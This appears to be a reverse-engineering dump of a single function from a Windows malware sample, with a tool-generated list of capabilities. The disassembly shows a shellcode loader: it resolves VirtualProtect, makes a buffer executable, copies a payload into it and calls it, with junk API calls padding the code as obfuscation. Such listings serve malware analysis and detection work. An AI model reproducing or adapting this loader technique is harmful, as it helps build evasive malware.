Function at 0x402e80
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Get disk information
Receive http response
Set file attributes

Disassembly:
mov eax, 0x41a130
call fcn.004063c8
sub esp, 0x8e8
push ebp
push esi
xor ebp, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebp
push ebp
call edi
cmp esi, 0x207138
jg 0x402eb1
inc esi
cmp esi, 0x4f672
jl 0x402e9d
mov ecx, dword [0x6a26e4]
cmp ecx, 0x93
jne 0x402f51
push ebp
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
lock bts dword [eax], 0
lea eax, [esp + 0x18]
push eax
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push ebp
push ebp
push dword [esp + 0x14]
push ebp
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push ebp
call fcn.004051c8
push ebp
call fcn.00406004
push ebp
call fcn.004051c8
add esp, 0xc
lea ecx, [esp + 0x10]
call fcn.004017bf
lea eax, [esp + 0xc]
mov dword [esp + 0x8fc], ebp
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], ebp
call fcn.0040375e
push 1
push 3
lea ecx, [esp + 0x4c]
call fcn.004016d9
lea ecx, [esp + 0x44]
call fcn.00401d73
or dword [esp + 0x8fc], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.00401be5
mov ecx, dword [0x6a26e4]
mov eax, dword [0x46b970]
add ecx, 0x1134b
push 0x41b258
mov dword [0x6a26ec], eax
mov dword [0x6a26e4], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x6a26fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x6a26e4]
mov dword [0x6a26dc], eax
push ebp
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x1c]
mov dword [0x6a26e8], eax
push ecx
push 0x40
push dword [0x6a26e4]
push eax
call dword [0x6a26dc]
mov esi, 0x14b002e
push ebp
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x402fb3
mov edx, dword [0x6a26e4]
mov esi, ebp
test edx, edx
je 0x40304f
mov eax, dword [0x6a26ec]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x6a26e8]
mov byte [eax + esi], cl
mov edx, dword [0x6a26e4]
cmp edx, 0x490
jne 0x40304a
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebp
push str.salaruyamosohukeluyabiji
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push str.cunuracexefinohakelisefe
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
lea eax, [esp + 0xf8]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
push ebp
lea eax, [esp + 0x50c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea eax, [esp + 0x20]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov edx, dword [0x6a26e4]
inc esi
cmp esi, edx
jb 0x402fcf
mov esi, ebp
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x403086
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll__lopen]
push ebp
push ebp
push str.hisijisi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov edx, dword [0x6a26e4]
inc esi
cmp esi, 0x38681
jl 0x403051
mov ecx, dword [0x6a26e8]
push 0x46b8a8
call fcn.00403d37
mov esi, ebp
push ebp
call edi
cmp esi, 0x62
jne 0x4030b3
mov ecx, 0x6a26e8
call fcn.00402e59
inc esi
cmp esi, 0x674db
jl 0x4030a1
push 0x7b
pop esi
cmp dword [0x6a26e4], 0x86
jne 0x40310e
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_DeleteAce]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GetCharWidthA]
cmp dword [0x6a26e4], 0xf
jne 0x403120
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenEventA]
dec esi
jne 0x4030bf
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x6a26e8]
mov dword [0x6a26f0], eax
call eax
mov ecx, dword [esp + 0x8f4]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
leave
ret